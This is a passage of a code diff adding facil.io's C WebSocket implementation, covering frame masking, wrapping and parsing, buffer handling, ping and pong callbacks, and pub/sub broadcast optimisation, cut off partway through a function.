+    ((uint8_t *)msg)[3] ^= ((uint8_t *)(&mask))[3];
+  /* fallthrough */
+  case 3:
+    ((uint8_t *)msg)[2] ^= ((uint8_t *)(&mask))[2];
+  /* fallthrough */
+  case 2:
+    ((uint8_t *)msg)[1] ^= ((uint8_t *)(&mask))[1];
+  /* fallthrough */
+  case 1:
+    ((uint8_t *)msg)[0] ^= ((uint8_t *)(&mask))[0];
+    /* fallthrough */
+  }
+}
+
+/* *****************************************************************************
+Message wrapping
+***************************************************************************** */
+
+/** Converts an unaligned network ordered byte stream to a 16 bit number. */
+#define websocket_str2u16(c)                                                   \
+  ((uint16_t)(((uint16_t)(((uint8_t *)(c))[0]) << 8) |                         \
+              (uint16_t)(((uint8_t *)(c))[1])))
+
+/** Converts an unaligned network ordered byte stream to a 64 bit number. */
+#define websocket_str2u64(c)                                                   \
+  ((uint64_t)((((uint64_t)((uint8_t *)(c))[0]) << 56) |                        \
+              (((uint64_t)((uint8_t *)(c))[1]) << 48) |                        \
+              (((uint64_t)((uint8_t *)(c))[2]) << 40) |                        \
+              (((uint64_t)((uint8_t *)(c))[3]) << 32) |                        \
+              (((uint64_t)((uint8_t *)(c))[4]) << 24) |                        \
+              (((uint64_t)((uint8_t *)(c))[5]) << 16) |                        \
+              (((uint64_t)((uint8_t *)(c))[6]) << 8) | (((uint8_t *)(c))[7])))
+
+/** Writes a local 16 bit number to an unaligned buffer in network order. */
+#define websocket_u2str16(buffer, i)                                           \
+  do {                                                                         \
+    ((uint8_t *)(buffer))[0] = ((uint16_t)(i) >> 8) & 0xFF;                    \
+    ((uint8_t *)(buffer))[1] = ((uint16_t)(i)) & 0xFF;                         \
+  } while (0);
+
+/** Writes a local 64 bit number to an unaligned buffer in network order. */
+#define websocket_u2str64(buffer, i)                                           \
+  do {                                                                         \
+    ((uint8_t *)(buffer))[0] = ((uint64_t)(i) >> 56) & 0xFF;                   \
+    ((uint8_t *)(buffer))[1] = ((uint64_t)(i) >> 48) & 0xFF;                   \
+    ((uint8_t *)(buffer))[2] = ((uint64_t)(i) >> 40) & 0xFF;                   \
+    ((uint8_t *)(buffer))[3] = ((uint64_t)(i) >> 32) & 0xFF;                   \
+    ((uint8_t *)(buffer))[4] = ((uint64_t)(i) >> 24) & 0xFF;                   \
+    ((uint8_t *)(buffer))[5] = ((uint64_t)(i) >> 16) & 0xFF;                   \
+    ((uint8_t *)(buffer))[6] = ((uint64_t)(i) >> 8) & 0xFF;                    \
+    ((uint8_t *)(buffer))[7] = ((uint64_t)(i)) & 0xFF;                         \
+  } while (0);
+
+/** returns the length of the buffer required to wrap a message `len` long */
+static inline uint64_t websocket_wrapped_len(uint64_t len) {
+  if (len < 126)
+    return len + 2;
+  if (len < (1UL << 16))
+    return len + 4;
+  return len + 10;
+}
+
+/**
+ * Wraps a WebSocket server message and writes it to the target buffer.
+ *
+ * The `first` and `last` flags can be used to support message fragmentation.
+ *
+ * * target: the target buffer to write to.
+ * * msg:    the message to be wrapped.
+ * * len:    the message length.
+ * * opcode: set to 1 for UTF-8 message, 2 for binary, etc'.
+ * * first:  set to 1 if `msg` points the beginning of the message.
+ * * last:   set to 1 if `msg + len` ends the message.
+ * * client: set to 1 to use client mode (data  masking).
+ *
+ * Further opcode values:
+ * * %x0 denotes a continuation frame
+ * *  %x1 denotes a text frame
+ * *  %x2 denotes a binary frame
+ * *  %x3-7 are reserved for further non-control frames
+ * *  %x8 denotes a connection close
+ * *  %x9 denotes a ping
+ * *  %xA denotes a pong
+ * *  %xB-F are reserved for further control frames
+ *
+ * Returns the number of bytes written. Always `websocket_wrapped_len(len)`
+ */
+static uint64_t websocket_server_wrap(void *target, void *msg, uint64_t len,
+                                      unsigned char opcode, unsigned char first,
+                                      unsigned char last, unsigned char rsv) {
+  ((uint8_t *)target)[0] = 0 |
+                           /* opcode */ (((first ? opcode : 0) & 15)) |
+                           /* rsv */ ((rsv & 7) << 4) |
+                           /*fin*/ ((last & 1) << 7);
+  if (len < 126) {
+    ((uint8_t *)target)[1] = len;
+    memcpy(((uint8_t *)target) + 2, msg, len);
+    return len + 2;
+  } else if (len < (1UL << 16)) {
+    /* head is 4 bytes */
+    ((uint8_t *)target)[1] = 126;
+    websocket_u2str16(((uint8_t *)target + 2), len);
+    memcpy((uint8_t *)target + 4, msg, len);
+    return len + 4;
+  }
+  /* Really Long Message  */
+  ((uint8_t *)target)[1] = 127;
+  websocket_u2str64(((uint8_t *)target + 2), len);
+  memcpy((uint8_t *)target + 10, msg, len);
+  return len + 10;
+}
+
+/**
+ * Wraps a WebSocket client message and writes it to the target buffer.
+ *
+ * The `first` and `last` flags can be used to support message fragmentation.
+ *
+ * * target: the target buffer to write to.
+ * * msg:    the message to be wrapped.
+ * * len:    the message length.
+ * * opcode: set to 1 for UTF-8 message, 2 for binary, etc'.
+ * * first:  set to 1 if `msg` points the beginning of the message.
+ * * last:   set to 1 if `msg + len` ends the message.
+ *
+ * Returns the number of bytes written. Always `websocket_wrapped_len(len) +
+ * 4`
+ */
+static uint64_t websocket_client_wrap(void *target, void *msg, uint64_t len,
+                                      unsigned char opcode, unsigned char first,
+                                      unsigned char last, unsigned char rsv) {
+  uint32_t mask = rand() | 0x01020408;
+  ((uint8_t *)target)[0] = 0 |
+                           /* opcode */ (((first ? opcode : 0) & 15)) |
+                           /* rsv */ ((rsv & 7) << 4) |
+                           /*fin*/ ((last & 1) << 7);
+  if (len < 126) {
+    ((uint8_t *)target)[1] = len | 128;
+    ((uint8_t *)target)[2] = ((uint8_t *)(&mask))[0];
+    ((uint8_t *)target)[3] = ((uint8_t *)(&mask))[1];
+    ((uint8_t *)target)[4] = ((uint8_t *)(&mask))[2];
+    ((uint8_t *)target)[5] = ((uint8_t *)(&mask))[3];
+    memcpy(((uint8_t *)target) + 6, msg, len);
+    websocket_xmask((uint8_t *)target + 6, len, mask);
+    return len + 6;
+  } else if (len < (1UL << 16)) {
+    /* head is 4 bytes */
+    ((uint8_t *)target)[1] = 126 | 128;
+    websocket_u2str16(((uint8_t *)target + 2), len);
+    ((uint8_t *)target)[4] = ((uint8_t *)(&mask))[0];
+    ((uint8_t *)target)[5] = ((uint8_t *)(&mask))[1];
+    ((uint8_t *)target)[6] = ((uint8_t *)(&mask))[2];
+    ((uint8_t *)target)[7] = ((uint8_t *)(&mask))[3];
+    memcpy((uint8_t *)target + 8, msg, len);
+    websocket_xmask((uint8_t *)target + 8, len, mask);
+    return len + 8;
+  }
+  /* Really Long Message  */
+  ((uint8_t *)target)[1] = 255;
+  websocket_u2str64(((uint8_t *)target + 2), len);
+  ((uint8_t *)target)[10] = ((uint8_t *)(&mask))[0];
+  ((uint8_t *)target)[11] = ((uint8_t *)(&mask))[1];
+  ((uint8_t *)target)[12] = ((uint8_t *)(&mask))[2];
+  ((uint8_t *)target)[13] = ((uint8_t *)(&mask))[3];
+  memcpy((uint8_t *)target + 14, msg, len);
+  websocket_xmask((uint8_t *)target + 14, len, mask);
+  return len + 14;
+}
+
+/* *****************************************************************************
+Message unwrapping
+***************************************************************************** */
+
+/**
+ * Returns all known information regarding the upcoming message.
+ *
+ * @returns a struct websocket_packet_info_s.
+ *
+ * On protocol error, the `head_length` value is 0 (no valid head detected).
+ */
+inline static struct websocket_packet_info_s
+websocket_buffer_peek(void *buffer, uint64_t len) {
+  if (len < 2) {
+    const struct websocket_packet_info_s info = {0 /* packet */, 2 /* head */,
+                                                 0 /* masked? */};
+    return info;
+  }
+  const uint8_t mask_f = (((uint8_t *)buffer)[1] >> 7) & 1;
+  const uint8_t mask_l = (mask_f << 2);
+  uint8_t len_indicator = ((((uint8_t *)buffer)[1]) & 127);
+  switch (len_indicator) {
+  case 126:
+    if (len < 4)
+      return (struct websocket_packet_info_s){0, (uint8_t)(4 + mask_l), mask_f};
+    return (struct websocket_packet_info_s){
+        (uint64_t)websocket_str2u16(((uint8_t *)buffer + 2)),
+        (uint8_t)(4 + mask_l), mask_f};
+  case 127:
+    if (len < 10)
+      return (struct websocket_packet_info_s){0, (uint8_t)(10 + mask_l),
+                                              mask_f};
+    {
+      uint64_t msg_len = websocket_str2u64(((uint8_t *)buffer + 2));
+      if (msg_len >> 62)
+        return (struct websocket_packet_info_s){0, 0, 0};
+      return (struct websocket_packet_info_s){msg_len, (uint8_t)(10 + mask_l),
+                                              mask_f};
+    }
+  default:
+    return (struct websocket_packet_info_s){len_indicator,
+                                            (uint8_t)(2 + mask_l), mask_f};
+  }
+}
+
+/**
+ * Consumes the data in the buffer, calling any callbacks required.
+ *
+ * Returns the remaining data in the existing buffer (can be 0).
+ */
+static uint64_t websocket_consume(void *buffer, uint64_t len, void *udata,
+                                  uint8_t require_masking) {
+  volatile struct websocket_packet_info_s info =
+      websocket_buffer_peek(buffer, len);
+  if (!info.head_length) {
+#if DEBUG
+    fprintf(stderr, "ERROR: WebSocket protocol error - malicious header.\n");
+#endif
+    websocket_on_protocol_error(udata);
+    return 0;
+  }
+  if (info.head_length + info.packet_length > len)
+    return len;
+  uint64_t reminder = len;
+  uint8_t *pos = (uint8_t *)buffer;
+  while (info.head_length + info.packet_length <= reminder) {
+    /* parse head */
+    void *payload = (void *)(pos + info.head_length);
+    /* unmask? */
+    if (info.masked) {
+      /* masked */
+      uint32_t mask; // = ((uint32_t *)payload)[-1];
+      ((uint8_t *)(&mask))[0] = ((uint8_t *)(payload))[-4];
+      ((uint8_t *)(&mask))[1] = ((uint8_t *)(payload))[-3];
+      ((uint8_t *)(&mask))[2] = ((uint8_t *)(payload))[-2];
+      ((uint8_t *)(&mask))[3] = ((uint8_t *)(payload))[-1];
+      websocket_xmask(payload, info.packet_length, mask);
+    } else if (require_masking && info.packet_length) {
+#if DEBUG
+      fprintf(stderr, "ERROR: WebSocket protocol error - unmasked data.\n");
+#endif
+      websocket_on_protocol_error(udata);
+    }
+    /* call callback */
+    switch (pos[0] & 15) {
+    case 0:
+      /* continuation frame */
+      websocket_on_unwrapped(udata, payload, info.packet_length, 0,
+                             ((pos[0] >> 7) & 1), 0, ((pos[0] >> 4) & 7));
+      break;
+    case 1:
+      /* text frame */
+      websocket_on_unwrapped(udata, payload, info.packet_length, 1,
+                             ((pos[0] >> 7) & 1), 1, ((pos[0] >> 4) & 7));
+      break;
+    case 2:
+      /* data frame */
+      websocket_on_unwrapped(udata, payload, info.packet_length, 1,
+                             ((pos[0] >> 7) & 1), 0, ((pos[0] >> 4) & 7));
+      break;
+    case 8:
+      /* close frame */
+      websocket_on_protocol_close(udata);
+      break;
+    case 9:
+      /* ping frame */
+      websocket_on_protocol_ping(udata, payload, info.packet_length);
+      break;
+    case 10:
+      /* pong frame */
+      websocket_on_protocol_pong(udata, payload, info.packet_length);
+      break;
+    default:
+#if DEBUG
+      fprintf(stderr, "ERROR: WebSocket protocol error - unknown opcode %u\n",
+              (unsigned int)(pos[0] & 15));
+#endif
+      websocket_on_protocol_error(udata);
+    }
+    /* step forward */
+    reminder = reminder - (info.head_length + info.packet_length);
+    if (!reminder)
+      return 0;
+    pos += info.head_length + info.packet_length;
+    info = websocket_buffer_peek(pos, reminder);
+  }
+  /* reset buffer state - support pipelining */
+  memmove(buffer, (uint8_t *)buffer + len - reminder, reminder);
+  return reminder;
+}
+
+#endif

facil.io/lib/facil/http/websockets.c

@@ -0,0 +1,731 @@
+/*
+copyright: Boaz Segev, 2016-2019
+license: MIT
+
+Feel free to copy, use and enjoy according to the license provided.
+*/
+#define FIO_INCLUDE_STR
+#include <fio.h>
+
+/* subscription lists have a long lifetime */
+#define FIO_FORCE_MALLOC_TMP 1
+#define FIO_INCLUDE_LINKED_LIST
+#include <fio.h>
+
+#include <fiobj.h>
+
+#include <http.h>
+#include <http_internal.h>
+
+#include <arpa/inet.h>
+#include <errno.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <strings.h>
+
+#include <websocket_parser.h>
+
+#if !defined(__BIG_ENDIAN__) && !defined(__LITTLE_ENDIAN__)
+#include <endian.h>
+#if !defined(__BIG_ENDIAN__) && !defined(__LITTLE_ENDIAN__) &&                 \
+    __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__
+#define __BIG_ENDIAN__
+#endif
+#endif
+
+/*******************************************************************************
+Buffer management - update to change the way the buffer is handled.
+*/
+struct buffer_s {
+  void *data;
+  size_t size;
+};
+
+#pragma weak create_ws_buffer
+/** returns a buffer_s struct, with a buffer (at least) `size` long. */
+struct buffer_s create_ws_buffer(ws_s *owner);
+
+#pragma weak resize_ws_buffer
+/** returns a buffer_s struct, with a buffer (at least) `size` long. */
+struct buffer_s resize_ws_buffer(ws_s *owner, struct buffer_s);
+
+#pragma weak free_ws_buffer
+/** releases an existing buffer. */
+void free_ws_buffer(ws_s *owner, struct buffer_s);
+
+/** Sets the initial buffer size. (4Kb)*/
+#define WS_INITIAL_BUFFER_SIZE 4096UL
+
+/*******************************************************************************
+Buffer management - simple implementation...
+Since Websocket connections have a long life expectancy, optimizing this part of
+the code probably wouldn't offer a high performance boost.
+*/
+
+// buffer increments by 4,096 Bytes (4Kb)
+#define round_up_buffer_size(size) (((size) >> 12) + 1) << 12
+
+struct buffer_s create_ws_buffer(ws_s *owner) {
+  (void)(owner);
+  struct buffer_s buff;
+  buff.size = WS_INITIAL_BUFFER_SIZE;
+  buff.data = malloc(buff.size);
+  return buff;
+}
+
+struct buffer_s resize_ws_buffer(ws_s *owner, struct buffer_s buff) {
+  buff.size = round_up_buffer_size(buff.size);
+  void *tmp = realloc(buff.data, buff.size);
+  if (!tmp) {
+    free_ws_buffer(owner, buff);
+    buff.data = NULL;
+    buff.size = 0;
+  }
+  buff.data = tmp;
+  return buff;
+}
+void free_ws_buffer(ws_s *owner, struct buffer_s buff) {
+  (void)(owner);
+  free(buff.data);
+}
+
+#undef round_up_buffer_size
+
+/*******************************************************************************
+Create/Destroy the websocket object (prototypes)
+*/
+
+static ws_s *new_websocket();
+static void destroy_ws(ws_s *ws);
+
+/*******************************************************************************
+The Websocket object (protocol + parser)
+*/
+struct ws_s {
+  /** The Websocket protocol */
+  fio_protocol_s protocol;
+  /** connection data */
+  intptr_t fd;
+  /** callbacks */
+  void (*on_message)(ws_s *ws, fio_str_info_s msg, uint8_t is_text);
+  void (*on_shutdown)(ws_s *ws);
+  void (*on_ready)(ws_s *ws);
+  void (*on_open)(ws_s *ws);
+  void (*on_close)(intptr_t uuid, void *udata);
+  /** Opaque user data. */
+  void *udata;
+  /** The maximum websocket message size */
+  size_t max_msg_size;
+  /** active pub/sub subscriptions */
+  fio_ls_s subscriptions;
+  fio_lock_i sub_lock;
+  /** socket buffer. */
+  struct buffer_s buffer;
+  /** data length (how much of the buffer actually used). */
+  size_t length;
+  /** message buffer. */
+  FIOBJ msg;
+  /** latest text state. */
+  uint8_t is_text;
+  /** websocket connection type. */
+  uint8_t is_client;
+};
+
+/* *****************************************************************************
+Create/Destroy the websocket subscription objects
+***************************************************************************** */
+
+static inline void clear_subscriptions(ws_s *ws) {
+  fio_lock(&ws->sub_lock);
+  while (fio_ls_any(&ws->subscriptions)) {
+    fio_unsubscribe(fio_ls_pop(&ws->subscriptions));
+  }
+  fio_unlock(&ws->sub_lock);
+}
+
+/* *****************************************************************************
+Callbacks - Required functions for websocket_parser.h
+***************************************************************************** */
+
+static void websocket_on_unwrapped(void *ws_p, void *msg, uint64_t len,
+                                   char first, char last, char text,
+                                   unsigned char rsv) {
+  ws_s *ws = ws_p;
+  if (last && first) {
+    ws->on_message(ws, (fio_str_info_s){.data = msg, .len = len},
+                   (uint8_t)text);
+    return;
+  }
+  if (first) {
+    ws->is_text = (uint8_t)text;
+    if (ws->msg == FIOBJ_INVALID)
+      ws->msg = fiobj_str_buf(len);
+    fiobj_str_resize(ws->msg, 0);
+  }
+  fiobj_str_write(ws->msg, msg, len);
+  if (last) {
+    ws->on_message(ws, fiobj_obj2cstr(ws->msg), ws->is_text);
+  }
+
+  (void)rsv;
+}
+static void websocket_on_protocol_ping(void *ws_p, void *msg_, uint64_t len) {
+  ws_s *ws = ws_p;
+  if (msg_) {
+    void *buff = malloc(len + 16);
+    len = (((ws_s *)ws)->is_client
+               ? websocket_client_wrap(buff, msg_, len, 10, 1, 1, 0)
+               : websocket_server_wrap(buff, msg_, len, 10, 1, 1, 0));
+    fio_write2(ws->fd, .data.buffer = buff, .length = len);
+  } else {
+    if (((ws_s *)ws)->is_client) {
+      fio_write2(ws->fd, .data.buffer = "\x89\x80mask", .length = 2,
+                 .after.dealloc = FIO_DEALLOC_NOOP);
+    } else {
+      fio_write2(ws->fd, .data.buffer = "\x89\x00", .length = 2,
+                 .after.dealloc = FIO_DEALLOC_NOOP);
+    }
+  }
+}
+static void websocket_on_protocol_pong(void *ws_p, void *msg, uint64_t len) {
+  (void)len;
+  (void)msg;
+  (void)ws_p;
+}
+static void websocket_on_protocol_close(void *ws_p) {
+  ws_s *ws = ws_p;
+  fio_close(ws->fd);
+}
+static void websocket_on_protocol_error(void *ws_p) {
+  ws_s *ws = ws_p;
+  fio_close(ws->fd);
+}
+
+/*******************************************************************************
+The Websocket Protocol implementation
+*/
+
+#define ws_protocol(fd) ((ws_s *)(server_get_protocol(fd)))
+
+static void ws_ping(intptr_t fd, fio_protocol_s *ws) {
+  (void)(ws);
+  if (((ws_s *)ws)->is_client) {
+    fio_write2(fd, .data.buffer = "\x89\x80MASK", .length = 6,
+               .after.dealloc = FIO_DEALLOC_NOOP);
+  } else {
+    fio_write2(fd, .data.buffer = "\x89\x00", .length = 2,
+               .after.dealloc = FIO_DEALLOC_NOOP);
+  }
+}
+
+static void on_close(intptr_t uuid, fio_protocol_s *_ws) {
+  destroy_ws((ws_s *)_ws);
+  (void)uuid;
+}
+
+static void on_ready(intptr_t fduuid, fio_protocol_s *ws) {
+  (void)(fduuid);
+  if (((ws_s *)ws)->on_ready)
+    ((ws_s *)ws)->on_ready((ws_s *)ws);
+}
+
+static uint8_t on_shutdown(intptr_t fd, fio_protocol_s *ws) {
+  (void)(fd);
+  if (ws && ((ws_s *)ws)->on_shutdown)
+    ((ws_s *)ws)->on_shutdown((ws_s *)ws);
+  if (((ws_s *)ws)->is_client) {
+    fio_write2(fd, .data.buffer = "\x8a\x80MASK", .length = 6,
+               .after.dealloc = FIO_DEALLOC_NOOP);
+  } else {
+    fio_write2(fd, .data.buffer = "\x8a\x00", .length = 2,
+               .after.dealloc = FIO_DEALLOC_NOOP);
+  }
+  return 0;
+}
+
+static void on_data(intptr_t sockfd, fio_protocol_s *ws_) {
+  ws_s *const ws = (ws_s *)ws_;
+  if (ws == NULL)
+    return;
+  struct websocket_packet_info_s info =
+      websocket_buffer_peek(ws->buffer.data, ws->length);
+  const uint64_t raw_length = info.packet_length + info.head_length;
+  /* test expected data amount */
+  if (ws->max_msg_size < raw_length) {
+    /* too big */
+    websocket_close(ws);
+    return;
+  }
+  /* test buffer capacity */
+  if (raw_length > ws->buffer.size) {
+    ws->buffer.size = (size_t)raw_length;
+    ws->buffer = resize_ws_buffer(ws, ws->buffer);
+    if (!ws->buffer.data) {
+      // no memory.
+      websocket_close(ws);
+      return;
+    }
+  }
+
+  const ssize_t len = fio_read(sockfd, (uint8_t *)ws->buffer.data + ws->length,
+                               ws->buffer.size - ws->length);
+  if (len <= 0) {
+    return;
+  }
+  ws->length = websocket_consume(ws->buffer.data, ws->length + len, ws,
+                                 (~(ws->is_client) & 1));
+
+  fio_force_event(sockfd, FIO_EVENT_ON_DATA);
+}
+
+static void on_data_first(intptr_t sockfd, fio_protocol_s *ws_) {
+  ws_s *const ws = (ws_s *)ws_;
+  if (ws->on_open)
+    ws->on_open(ws);
+  ws->protocol.on_data = on_data;
+  ws->protocol.on_ready = on_ready;
+
+  if (ws->length) {
+    ws->length = websocket_consume(ws->buffer.data, ws->length, ws,
+                                   (~(ws->is_client) & 1));
+  }
+  fio_force_event(sockfd, FIO_EVENT_ON_DATA);
+  fio_force_event(sockfd, FIO_EVENT_ON_READY);
+}
+
+/* later */
+static void websocket_write_impl(intptr_t fd, void *data, size_t len, char text,
+                                 char first, char last, char client);
+
+/*******************************************************************************
+Create/Destroy the websocket object
+*/
+
+static ws_s *new_websocket(intptr_t uuid) {
+  // allocate the protocol object
+  ws_s *ws = malloc(sizeof(*ws));
+  *ws = (ws_s){
+      .protocol.ping = ws_ping,
+      .protocol.on_data = on_data_first,
+      .protocol.on_close = on_close,
+      .protocol.on_ready = NULL /* filled in after `on_open` */,
+      .protocol.on_shutdown = on_shutdown,
+      .subscriptions = FIO_LS_INIT(ws->subscriptions),
+      .is_client = 0,
+      .fd = uuid,
+  };
+  return ws;
+}
+static void destroy_ws(ws_s *ws) {
+  if (ws->on_close)
+    ws->on_close(ws->fd, ws->udata);
+  if (ws->msg)
+    fiobj_free(ws->msg);
+  clear_subscriptions(ws);
+  free_ws_buffer(ws, ws->buffer);
+  free(ws);
+}
+
+void websocket_attach(intptr_t uuid, http_settings_s *http_settings,
+                      websocket_settings_s *args, void *data, size_t length) {
+  ws_s *ws = new_websocket(uuid);
+  FIO_ASSERT_ALLOC(ws);
+  // we have an active websocket connection - prep the connection buffer
+  ws->buffer = create_ws_buffer(ws);
+  // Setup ws callbacks
+  ws->on_open = args->on_open;
+  ws->on_close = args->on_close;
+  ws->on_message = args->on_message;
+  ws->on_ready = args->on_ready;
+  ws->on_shutdown = args->on_shutdown;
+  // setup any user data
+  ws->udata = args->udata;
+  if (http_settings) {
+    // client mode?
+    ws->is_client = http_settings->is_client;
+    // buffer limits
+    ws->max_msg_size = http_settings->ws_max_msg_size;
+    // update the timeout
+    fio_timeout_set(uuid, http_settings->ws_timeout);
+  } else {
+    ws->max_msg_size = (1024 * 256);
+    fio_timeout_set(uuid, 40);
+  }
+
+  if (data && length) {
+    if (length > ws->buffer.size) {
+      ws->buffer.size = length;
+      ws->buffer = resize_ws_buffer(ws, ws->buffer);
+      if (!ws->buffer.data) {
+        // no memory.
+        fio_attach(uuid, (fio_protocol_s *)ws);
+        websocket_close(ws);
+        return;
+      }
+    }
+    memcpy(ws->buffer.data, data, length);
+    ws->length = length;
+  }
+  // update the protocol object, cleaning up the old one
+  fio_attach(uuid, (fio_protocol_s *)ws);
+  // allow the on_open and on_data to take over the control.
+  fio_force_event(uuid, FIO_EVENT_ON_DATA);
+}
+
+/*******************************************************************************
+Writing to the Websocket
+*/
+#define WS_MAX_FRAME_SIZE                                                      \
+  (FIO_MEMORY_BLOCK_ALLOC_LIMIT - 4096) // should be less then `unsigned short`
+
+static void websocket_write_impl(intptr_t fd, void *data, size_t len, char text,
+                                 char first, char last, char client) {
+  if (len <= WS_MAX_FRAME_SIZE) {
+    void *buff = fio_malloc(len + 16);
+    len = (client ? websocket_client_wrap(buff, data, len, (text ? 1 : 2),
+                                          first, last, 0)
+                  : websocket_server_wrap(buff, data, len, (text ? 1 : 2),
+                                          first, last, 0));
+    fio_write2(fd, .data.buffer = buff, .length = len,
+               .after.dealloc = fio_free);
+  } else {
+    /* frame fragmentation is better for large data then large frames */
+    while (len > WS_MAX_FRAME_SIZE) {
+      websocket_write_impl(fd, data, WS_MAX_FRAME_SIZE, text, first, 0, client);
+      data = ((uint8_t *)data) + WS_MAX_FRAME_SIZE;
+      first = 0;
+      len -= WS_MAX_FRAME_SIZE;
+    }
+    websocket_write_impl(fd, data, len, text, first, 1, client);
+  }
+  return;
+}
+
+/* *****************************************************************************
+Multi-client broadcast optimizations
+***************************************************************************** */
+
+static void websocket_optimize_free(fio_msg_s *msg, void *metadata) {
+  fiobj_free((FIOBJ)metadata);
+  (void)msg;
+}
+
+static inline fio_msg_metadata_s websocket_optimize(fio_str_info_s msg,
+                                                    unsigned char opcode) {
+  FIOBJ out = fiobj_str_buf(msg.len + 10);
+  fiobj_str_resize(out,
+                   websocket_server_wrap(fiobj_obj2cstr(out).data, msg.data,
+                                         msg.len, opcode, 1, 1, 0));
+  fio_msg_metadata_s ret = {
+      .on_finish = websocket_optimize_free,
+      .metadata = (void *)out,
+  };
+  return ret;
+}
+static fio_msg_metadata_s websocket_optimize_generic(fio_str_info_s ch,
+                                                     fio_str_info_s msg,
+                                                     uint8_t is_json) {
+  fio_str_s tmp = FIO_STR_INIT_EXISTING(ch.data, ch.len, 0); // don't free
+  tmp.dealloc = NULL;
+  unsigned char opcode = 2;
+  if (tmp.len <= (2 << 19) && fio_str_utf8_valid(&tmp)) {
+    opcode = 1;
+  }
+  fio_msg_metadata_s ret = websocket_optimize(msg, opcode);
+  ret.type_id = WEBSOCKET_OPTIMIZE_PUBSUB;
+  return ret;
+  (void)ch;
+  (void)is_json;
+}
+
+static fio_msg_metadata_s websocket_optimize_text(fio_str_info_s ch,
+                                                  fio_str_info_s msg,
+                                                  uint8_t is_json) {
+  fio_msg_metadata_s ret = websocket_optimize(msg, 1);
+  ret.type_id = WEBSOCKET_OPTIMIZE_PUBSUB_TEXT;
+  return ret;
+  (void)ch;
+  (void)is_json;
+}
+
+static fio_msg_metadata_s websocket_optimize_binary(fio_str_info_s ch,
+                                                    fio_str_info_s msg,
+                                                    uint8_t is_json) {
+  fio_msg_metadata_s ret = websocket_optimize(msg, 2);
+  ret.type_id = WEBSOCKET_OPTIMIZE_PUBSUB_BINARY;
+  return ret;
+  (void)ch;
+  (void)is_json;
+}
+
+/**
+ * Enables (or disables) broadcast optimizations.
+ *
+ * When using WebSocket pub/sub system is originally optimized for either
+ * non-direct transmission (messages are handled by callbacks) or direct
+ * transmission to 1-3 clients per channel (on average), meaning that the
+ * majority of the messages are meant for a single recipient (or multiple
+ * callback recipients) and only some are expected to be directly transmitted to
+ * a group.
+ *
+ * However, when most messages are intended for direct transmission to more than
+ * 3 clients (on average), certain optimizations can be made to improve memory
+ * consumption (minimize duplication or WebSocket network data).
+ *
+ * This function allows enablement (or disablement) of these optimizations.
+ * These optimizations include:
+ *
+ * * WEBSOCKET_OPTIMIZE_PUBSUB - optimize all direct transmission messages,
+ *                               best attempt to detect Text vs. Binary data.
+ * * WEBSOCKET_OPTIMIZE_PUBSUB_TEXT - optimize direct pub/sub text messages.
+ * * WEBSOCKET_OPTIMIZE_PUBSUB_BINARY - optimize direct pub/sub binary messages.
+ *
+ * Note: to disable an optimization it should be disabled the same amount of
+ * times it was enabled - multiple optimization enablements for the same type
+ * are merged, but reference counted (disabled when reference is zero).
+ */
+void websocket_optimize4broadcasts(intptr_t type, int enable) {
+  static intptr_t generic = 0;
+  static intptr_t text = 0;
+  static intptr_t binary = 0;
+  fio_msg_metadata_s (*callback)(fio_str_info_s, fio_str_info_s, uint8_t);
+  intptr_t *counter;
+  switch ((0 - type)) {
+  case (0 - WEBSOCKET_OPTIMIZE_PUBSUB):
+    counter = &generic;
+    callback = websocket_optimize_generic;
+    break;
+  case (0 - WEBSOCKET_OPTIMIZE_PUBSUB_TEXT):
+    counter = &text;
+    callback = websocket_optimize_text;
+    break;
+  case (0 - WEBSOCKET_OPTIMIZE_PUBSUB_BINARY):
+    counter = &binary;
+    callback = websocket_optimize_binary;
+    break;
+  default:
+    return;
+  }
+  if (enable) {
+    if (fio_atomic_add(counter, 1) == 1) {
+      fio_message_metadata_callback_set(callback, 1);
+    }
+  } else {
+    if (fio_atomic_sub(counter, 1) == 0) {
+      fio_message_metadata_callback_set(callback, 0);
+    }
+  }
+}
+
+/* *****************************************************************************
+Subscription handling
+***************************************************************************** */
+
+typedef struct {
+  void (*on_message)(ws_s *ws, fio_str_info_s channel, fio_str_info_s msg,
+                     void *udata);
+  void (*on_unsubscribe)(void *udata);
+  void *udata;
+} websocket_sub_data_s;
+
+static inline void websocket_on_pubsub_message_direct_internal(fio_msg_s *msg,
+                                                               uint8_t txt) {
+  fio_protocol_s *pr =
+      fio_protocol_try_lock((intptr_t)msg->udata1, FIO_PR_LOCK_WRITE);
+  if (!pr) {
+    if (errno == EBADF)
+      return;
+    fio_message_defer(msg);
+    return;
+  }
+  FIOBJ message = FIOBJ_INVALID;
+  FIOBJ pre_wrapped = FIOBJ_INVALID;
+  if (!((ws_s *)pr)->is_client) {
+    /* pre-wrapping is only for client data */
+    switch (txt) {
+    case 0:
+      pre_wrapped =
+          (FIOBJ)fio_message_metadata(msg, WEBSOCKET_OPTIMIZE_PUBSUB_BINARY);
+      break;
+    case 1:
+      pre_wrapped =
+          (FIOBJ)fio_message_metadata(msg, WEBSOCKET_OPTIMIZE_PUBSUB_TEXT);
+      break;
+    case 2:
+      pre_wrapped = (FIOBJ)fio_message_metadata(msg, WEBSOCKET_OPTIMIZE_PUBSUB);
+      break;
+    default:
+      break;
+    }
+    if (pre_wrapped) {
+      // FIO_LOG_DEBUG(
+      //     "pub/sub WebSocket optimization route for pre-wrapped message.");
+      fiobj_send_free((intptr_t)msg->udata1, fiobj_dup(pre_wrapped));
+      goto finish;
+    }
+  }
+  if (txt == 2) {
+    /* unknown text state */
+    fio_str_s tmp =
+        FIO_STR_INIT_STATIC2(msg->msg.data, msg->msg.len); // don't free
+    txt = (tmp.len >= (2 << 14) ? 0 : fio_str_utf8_valid(&tmp));
+  }
+  websocket_write((ws_s *)pr, msg->msg, txt & 1);
+  fiobj_free(message);
+finish:
+  fio_protocol_unlock(pr, FIO_PR_LOCK_WRITE);
+}
+
+static void websocket_on_pubsub_message_direct(fio_msg_s *msg) {
+  websocket_on_pubsub_message_direct_internal(msg, 2);
+}
+
+static void websocket_on_pubsub_message_direct_txt(fio_msg_s *msg) {
+  websocket_on_pubsub_message_direct_internal(msg, 1);
+}
+
+static void websocket_on_pubsub_message_direct_bin(fio_msg_s *msg) {
+  websocket_on_pubsub_message_direct_internal(msg, 0);
+}
+
+static void websocket_on_pubsub_message(fio_msg_s *msg) {
+  fio_protocol_s *pr =
